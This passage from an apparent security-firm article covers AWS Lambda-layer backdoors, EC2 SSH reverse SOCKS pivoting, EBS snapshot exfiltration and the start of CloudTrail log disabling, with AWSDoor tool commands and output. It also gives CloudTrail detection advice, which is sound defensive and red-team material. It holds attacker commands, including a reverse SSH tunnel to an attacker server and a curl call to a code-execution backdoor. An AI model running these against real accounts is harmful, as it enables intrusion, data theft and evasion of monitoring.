<h5 style="text-align: justify;"><span style="text-decoration: underline;">Lambda layers</span></h5>
<p style="text-align: justify;">The Lambda <strong>persistence technique described above is effective, but it has a major drawback</strong>: the malicious <strong>code is easy to spot</strong>. If someone modifies the main business logic of the function or reviews the source during an investigation, the backdoor will likely be discovered and removed.</p>
<p style="text-align: justify;">A more subtle approach <strong>is to hide the malicious payload in a Lambda layer</strong> rather than in the function code itself.</p>
<p style="text-align: justify;">A Lambda layer is a way to <strong>distribute shared dependencies such as libraries or custom runtimes</strong>. Instead of embedding these directly into the function, you can upload them separately and attach them to one or more Lambda functions. This keeps the deployment package lighter and makes it easier to reuse code across projects. Layers are commonly used to include tools like requests or AWS SDKs (boto3) across multiple functions.</p>
<p style="text-align: justify;">From AWS’s perspective, <strong>the layer is attached to the function, but its contents are not displayed directly in the console.</strong></p>
<p style="text-align: justify;">As shown in the screenshot below, AWS only displays the presence of the layer, and to inspect it, a user has to manually browse to the Lambda Layers panel and download it as a ZIP file.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27400 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-437x167.png" alt="Lambda layer not clearly visible in the panel" width="835" height="319" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-437x167.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-768x294.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1-1536x587.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_33-FR-Persitence-on-AWS.docx-Word-1.png 1611w" sizes="auto, (max-width: 835px) 100vw, 835px" /></p>
<p><img loading="lazy" decoding="async" class="wp-image-27402 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-437x44.png" alt="List of layers associated to a lambda" width="1371" height="138" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-437x44.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-768x78.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1-1536x155.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_41-FR-Persitence-on-AWS.docx-Word-1.png 1634w" sizes="auto, (max-width: 1371px) 100vw, 1371px" /></p>
<p> </p>
<p style="text-align: justify;"><strong>The use of a layer is displayed</strong> (and can be easily missed) but in order to download the code, the <strong>user needs to go on a specific Lambda Layer panel</strong> and download (not display) it in Zip format:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27404 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-437x151.png" alt="The content of the layer is not displayed, it is only possible to download the layer" width="1013" height="350" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-437x151.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-71x25.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-768x265.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1-1536x531.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_36_56-FR-Persitence-on-AWS.docx-Word-1.png 1704w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></p>
<p> </p>
<p style="text-align: justify;">These extra <strong>steps can make defenders less likely to review the layer’s content</strong> during the initial triage.</p>
<p style="text-align: justify;">An attacker can take advantage of this by creating a layer that contains a poisoned version of a standard library, such as requests. By overriding an internal function with malicious behavior, the attacker gains remote code execution each time the function is used.</p>
<p style="text-align: justify;">For example, after downloading the requests package using pip:</p>
<p> </p>
<pre style="text-align: justify;">pip install -t python requests</pre>
<p> </p>
<p style="text-align: justify;">The attacker <strong>modifies the get() function to execute arbitrary commands</strong>:</p>
<p> </p>
<figure id="attachment_27406" aria-describedby="caption-attachment-27406" style="width: 932px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27406" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-287x191.png" alt="Poisonning of requests.get function" width="932" height="620" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-287x191.png 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-59x39.png 59w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1-768x512.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_16-FR-Persitence-on-AWS.docx-Word-1.png 1449w" sizes="auto, (max-width: 932px) 100vw, 932px" /><figcaption id="caption-attachment-27406" class="wp-caption-text"><em>Poisonning of requests.get function</em></figcaption></figure>
<p> </p>
<p>Then, <strong>the package is zipped and deployed as a layer</strong>, which is attached to the target function:</p>
<p> </p>
<figure id="attachment_27408" aria-describedby="caption-attachment-27408" style="width: 647px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27408" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="The layers is attached to the lambda function" width="647" height="259" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_34-FR-Persitence-on-AWS.docx-Word-1.png 1003w" sizes="auto, (max-width: 647px) 100vw, 647px" /><figcaption id="caption-attachment-27408" class="wp-caption-text"><em>The layers is attached to the lambda function</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Finally,<strong> the Lambda source code is updated to use the poisoned library</strong>, which may appear harmless at first glance:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27410 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-437x126.png" alt="Code seemingly harmless, calling the poisoned get() function" width="864" height="249" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1-768x221.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_37_47-FR-Persitence-on-AWS.docx-Word-1.png 1235w" sizes="auto, (max-width: 864px) 100vw, 864px" /></p>
<p> </p>
<p style="text-align: justify;">What <strong>looks like a legitimate HTTP request is now a trigger for hidden malicious behavior</strong>. Unless the defender inspects the actual content of the attached layer, this backdoor may remain undetected.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<pre><br /><br />python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l<br />[+] The following trust policy will be created :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "Service": "lambda.amazonaws.com"<br />      },<br />      "Action": "sts:AssumeRole"<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Layer created<br />[+] Created lambda function lambda_test2<br />[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/</pre>
<p> </p>
<p style="text-align: justify;">A few additional parameter can be used:</p>
<ul style="text-align: justify;">
<li><strong>-l : use a lambda layer</strong>, otherwise include the malicious code directly in the lambda</li>
<li><strong>-g: use a gateway api</strong>, otherwise, use a FunctionURL</li>
</ul>
<p style="text-align: justify;"><strong>The GatewayAPI is a cleaner way to expose a lambda on Internet</strong>, however, it is possible to easily spot that the lambda can be reached from the Internet as it is displayed as a trigger:</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="wp-image-27413 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-373x191.png" alt="API Gateway is visible as a trigger" width="635" height="325" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1-768x393.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_04-FR-Persitence-on-AWS.docx-Word-1.png 1372w" sizes="auto, (max-width: 635px) 100vw, 635px" /></p>
<p> </p>
<p style="text-align: justify;">The payload deployed by default takes a python code passed as the get parameter cmd, execute it and output the data stored in the result variable:</p>
<p> </p>
<pre style="text-align: justify;">curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` <br />&gt;&gt; {result: “Hello World”}</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>Lambda layers are often overlooked during incident response</strong>, especially when only the function code is reviewed. Since layers are not displayed inline in the Lambda console and must be downloaded manually as ZIP archives, <strong>malicious content can easily go unnoticed</strong>. This makes layers an attractive location for attackers to hide backdoors or poisoned dependencies.</p>
<p style="text-align: justify;">The <strong>following detection and mitigation strategies can help security teams</strong> identify and respond to suspicious use of Lambda layers:</p>
<ul>
<li style="text-align: justify;"><strong>Audit Lambda Layer Attachments</strong>: The UpdateFunctionConfiguration event is recorded by CloudTrail when a new layer is attached to a Lambda function. It is then possible to track unusual changes or associations between unrelated teams or projects.</li>
<li style="text-align: justify;"><strong>Restrict layer update to CICD workflow</strong>: Prevent any layer modification but from the CICD pipeline, by whitelisting the roles allowed to do it. Focus detection and threat hunting effort on misusage / update of this role.</li>
<li style="text-align: justify;"><strong>Validate lambda exposed directly on the internet</strong>: Exposing lambda on the Internet can be a sign of persitence deployment. Any usual configuration modification implying the exposition of such resource on the internet must be investigated</li>
</ul>
<p> </p>
<figure id="attachment_27416" aria-describedby="caption-attachment-27416" style="width: 830px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27416" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-365x191.png" alt="Event raised when creating an APIGateway" width="830" height="434" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-365x191.png 365w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1-768x401.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_19-FR-Persitence-on-AWS.docx-Word-1.png 1395w" sizes="auto, (max-width: 830px) 100vw, 830px" /><figcaption id="caption-attachment-27416" class="wp-caption-text"><em>Event raised when creating an APIGateway</em></figcaption></figure>
<p> </p>
<figure id="attachment_27418" aria-describedby="caption-attachment-27418" style="width: 825px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27418" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-398x191.png" alt="Event raised when associating an URL to a Lambda" width="825" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-768x369.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1-1536x738.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_37-FR-Persitence-on-AWS.docx-Word-1.png 1599w" sizes="auto, (max-width: 825px) 100vw, 825px" /><figcaption id="caption-attachment-27418" class="wp-caption-text"><em>Event raised when associating an URL to a Lambda</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While <strong>layers are a powerful and useful feature, they represent a blind spot in many AWS security</strong> monitoring setups.</p>
<p> </p>
<h4 style="text-align: justify;">EC2</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Socks</span></h5>
<p style="text-align: justify;">AWS Systems Manager (SSM)<strong> provides a powerful and flexible way to manage and interact with EC2 instances</strong> without requiring direct network access such as SSH or RDP. At its core, SSM enables remote management by using an agent installed on the instance, which communicates securely with the Systems Manager service. Through this channel, <strong>administrators can execute commands, run scripts, or open interactive shell sessions on instances</strong>, all without exposing them to the public internet or managing bastion hosts.</p>
<p style="text-align: justify;">One of the main advantages of <strong>SSM is that it reduces the attack surface by limiting the exposed services</strong>. Since communication is initiated from the instance itself, which reaches out to the SSM service endpoints, the approach works even in secured network environment where inbound access is restricted.</p>
<p style="text-align: justify;">From a security perspective, <strong>while SSM reduces exposure, it also introduces new risks</strong>. For example, if an attacker compromises an identity with permission to start SSM sessions or send commands, they can gain remote code execution on the instance without needing any network foothold.</p>
<p style="text-align: justify;">An attacker with <strong>access to the AWS account can leverage SSM capabilities to compromise an EC2 instance</strong> and use it as a network pivot. One common approach is to deploy an SSH reverse SOCKS proxy. Using SSM, the attacker can execute commands on the EC2 instance to deploy an SSH key, then run a command to expose the EC2’s SSH port back to their own server:</p>
<p> </p>
<pre style="text-align: justify;">ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f</pre>
<p> </p>
<p style="text-align: justify;">Then, the attacker, from his server, can open an SSH socks with the following command:</p>
<p> </p>
<pre style="text-align: justify;">ssh -D 4444 ssm-user@127.0.0.1:2222</pre>
<p> </p>
<p style="text-align: justify;">This allows the attacker to <strong>tunnel traffic through the compromised EC2</strong>, using it as a foothold inside the network.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Snapshot exfiltration</span></h5>
<p style="text-align: justify;">While not a persistence mechanism, <strong>snapshot exfiltration is a powerful technique for data exfiltration</strong> in AWS environments. It takes advantage of the ability to share Elastic Block Store (EBS) snapshots across AWS accounts. While this feature is intended for backup or collaboration, it can be leveraged for massive data exfiltration.</p>
<p style="text-align: justify;">An attacker <strong>with sufficient permissions in a compromised AWS account can create a snapshot of an EBS volume</strong>, then share it with an external account they control.</p>
<p> </p>
<figure id="attachment_27420" aria-describedby="caption-attachment-27420" style="width: 880px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27420" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-320x191.png" alt="Snapshot shared" width="880" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-320x191.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-65x39.png 65w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1-768x459.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_38_57-FR-Persitence-on-AWS.docx-Word-1.png 1186w" sizes="auto, (max-width: 880px) 100vw, 880px" /><figcaption id="caption-attachment-27420" class="wp-caption-text"><em>Snapshot shared</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">From that external AWS Account,<strong> the snapshot can be mounted, copied, and inspected</strong> giving the attacker full access to the underlying disk data without ever downloading anything from the target environment directly.</p>
<p style="text-align: justify;">This method is <strong>particularly dangerous when applied to sensitive infrastructure</strong>. For example, if a domain controller is virtualized in AWS, an attacker can take a snapshot of its volume, share it with his own <strong>AWS Account and extract sensitive files like ntds.dit.</strong></p>
<p> </p>
<figure id="attachment_27422" aria-describedby="caption-attachment-27422" style="width: 773px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class=" wp-image-27422" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-244x191.png" alt="Extraction of NTDS.DIT through AWS Snapshot" width="773" height="605" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-244x191.png 244w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1-768x602.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_12-FR-Persitence-on-AWS.docx-Word-1.png 1018w" sizes="auto, (max-width: 773px) 100vw, 773px" /><figcaption id="caption-attachment-27422" class="wp-caption-text"><em>Extraction of NTDS.DIT through AWS Snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">All of this can <strong>happen without needing to interact with the instance over the network</strong>, by passing any security tools deployed on the internal network.</p>
<p style="text-align: justify;">This is a low-noise, high-impact data exfiltration technique that abuses AWS-native capabilities that goes unnoticed if specific controls aren’t in place.</p>
<p> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">AWSDoor</span></h5>
<p style="text-align: justify;">These <strong>two techniques are implemented on AWSDoor</strong>. The following commands can be used to export a specific EC2 instance:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   <br />   <br />[-] The following volumes will be snapshoted and shared with 503561426720:                                       <br />        - vol-09ce1bf602374a743<br />[+] Do you want to apply this change? (yes/no): yes<br />[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743<br />[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720</pre>
<p> </p>
<p style="text-align: justify;">Likewise, the SSH socks action can be automated:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd<br /><br />[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da<br />[-] Waiting 10 seconds for execution<br />[+] Status: Success</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection</span></h5>
<p style="text-align: justify;">For the snapshot part, <strong>CloudTrail logs several events</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>CreateSnapshot</strong> logged when a snapshot is created. This is a routine operation in most environments with backup policies, so it&#8217;s not inherently suspicious. However, it&#8217;s easy for attackers to blend into the noise by mimicking standard backup activity.</li>
<li style="text-align: justify;"><strong>ModifySnapshotAttribute</strong> when the snapshot is shared: while modifying a snapshot attribute is not unusual, a simple analysis of the content shows that the snapshot has been shared to a remote account:</li>
</ul>
<p> </p>
<figure id="attachment_27425" aria-describedby="caption-attachment-27425" style="width: 836px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27425" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-186x191.png" alt="Event rised when sharing a snapshot" width="836" height="858" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-186x191.png 186w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1-38x39.png 38w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_30-FR-Persitence-on-AWS.docx-Word-1.png 927w" sizes="auto, (max-width: 836px) 100vw, 836px" /><figcaption id="caption-attachment-27425" class="wp-caption-text"><em>Event rised when sharing a snapshot</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Therefore, it is possible to limit this type of exploit by monitoring the ModifySnapshotAttribute and ensure that the userId set is in the range of the accounts linked to the organization.</p>
<p style="text-align: justify;">Likewise, some security by obscurity method would be to add specific tags when Snapshot are performed for backup purpose and <strong>raise an alert when a snapshot is created without the appropriate tag</strong>. The tag can for example be a hash of the creation time seeded by a secret only known by the backup tool:</p>
<p> </p>
<pre style="text-align: justify;">BackupTag=HMAC(creation_time, secret)</pre>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">For the reverse socks exploitation, <strong>it depends on the way the SSM access is performed</strong>:</p>
<ul>
<li style="text-align: justify;"><strong>From the AWS GUI</strong>: a StartSession event is logged on CloudTrails when the attacker starts the remote connection to the machine. The log contains the attacker IP address as well as the EC2 id targeted.</li>
</ul>
<p> </p>
<figure id="attachment_27427" aria-describedby="caption-attachment-27427" style="width: 853px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27427" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-437x145.png" alt="Event raised during SSM connection" width="853" height="283" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1-768x254.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_46-FR-Persitence-on-AWS.docx-Word-1.png 1291w" sizes="auto, (max-width: 853px) 100vw, 853px" /><figcaption id="caption-attachment-27427" class="wp-caption-text"><em>Event raised during SSM connection</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>From the AWS CLI or AWSDoor</strong>, the StartSession event is not raised but the GetCommandInvocation is logged instead:</li>
</ul>
<p> </p>
<figure id="attachment_27430" aria-describedby="caption-attachment-27430" style="width: 890px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27430" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-437x168.png" alt="Event raised during SSM command invocation" width="890" height="342" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-437x168.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1-768x295.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_39_59-FR-Persitence-on-AWS.docx-Word-1.png 1264w" sizes="auto, (max-width: 890px) 100vw, 890px" /><figcaption id="caption-attachment-27430" class="wp-caption-text"><em>Event raised during SSM command invocation</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, whatever the technique used, CloudTrails does not log the full commandline sent. Therefore, it is still interesting and important to add a EDR solution directly on the computing ressources.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Defense impairment</h2>
<p style="text-align: justify;">Defense impairment refers to any <strong>deliberate action taken by an attacker to weaken, disable, or bypass the security monitoring and detection</strong> capabilities of a target environment. In AWS, this typically involves tampering with logging configurations, disabling security services, or altering alerting mechanisms to avoid detection during or after an attack.</p>
<p style="text-align: justify;"><strong>AWS provides several built-in services designed to monitor activity</strong>, enforce compliance, and alert on suspicious behavior. These include <strong>CloudTrail for API call logging, CloudWatch Logs and CloudWatch Alarms for real-time monitoring</strong> and alerting, GuardDuty for threat detection, Security Hub for centralized security findings, and Config for resource configuration tracking. More advanced <strong>environments may also rely on third-party SIEMs or CSPM platforms</strong> integrated into their AWS accounts.</p>
<p style="text-align: justify;">Disabling or modifying any of these <strong>services can significantly reduce the visibility defenders</strong> have over malicious activity, making defense impairment a critical tactic in many cloud-based attacks.</p>
<p> </p>
<h3 style="text-align: justify;">CloudTrail and CloudWatch</h3>
<h4 style="text-align: justify;">Introduction to AWS logging</h4>
<p style="text-align: justify;"><strong>In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services </strong>that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. <strong>These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, on the other hand, <strong>focuses on operational monitoring</strong>. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for <strong>real-time visibility</strong>. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and <strong>store logs from Lambda functions, EC2 instances, or custom applications.</strong></p>
<p style="text-align: justify;">Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.</p>
<p style="text-align: justify;">CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.</p>
<p style="text-align: justify;">CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a <em>trail</em>. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.</p>
<p style="text-align: justify;">As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Stop logging</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">While it is not <strong>easily possible to impact the logging capabilities of CloudWatch</strong>, it is possible to impact those of CloudTrail by simply deactivating the logging capability.</p>
<p style="text-align: justify;">This feature <strong>allows to stop a trail from logging the event without deleting it</strong>:</p>
<p> </p>
